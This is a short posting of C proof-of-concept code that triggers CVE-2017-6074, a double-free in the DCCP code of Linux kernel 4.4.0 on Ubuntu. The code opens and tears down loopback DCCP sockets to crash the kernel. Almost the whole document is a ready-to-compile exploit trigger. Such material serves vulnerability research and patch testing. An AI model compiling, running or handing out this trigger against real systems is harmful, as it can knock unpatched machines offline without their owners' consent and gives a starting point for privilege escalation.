Linux Kernel 4.4.0 Ubuntu DCCP Double-Free Crash

`// A trigger for CVE-2017-6074, crashes kernel.  
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.  
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074  
//  
// Andrey Konovalov <[email protected]>  
  
#define _GNU_SOURCE  
  
#include <netinet/ip.h>  
  
#include <sys/ioctl.h>  
#include <sys/mman.h>  
#include <sys/socket.h>  
#include <sys/stat.h>  
#include <sys/syscall.h>  
#include <sys/types.h>  
  
#include <stdarg.h>  
#include <stdbool.h>  
#include <stddef.h>  
#include <stdint.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
  
#include <arpa/inet.h>  
  
int main() {  
struct sockaddr_in6 sa1;  
sa1.sin6_family = AF_INET6;  
sa1.sin6_port = htons(20002);  
inet_pton(AF_INET6, "::1", &sa1.sin6_addr);  
sa1.sin6_flowinfo = 0;  
sa1.sin6_scope_id = 0;  
  
int optval = 8;  
  
int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);  
bind(s1, &sa1, 0x20);  
listen(s1, 0x9);  
  
setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4);  
  
int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);  
connect(s2, &sa1, 0x20);  
  
shutdown(s1, SHUT_RDWR);  
close(s1);  
shutdown(s2, SHUT_RDWR);  
close(s2);  
  
return 0;  
}  
  
`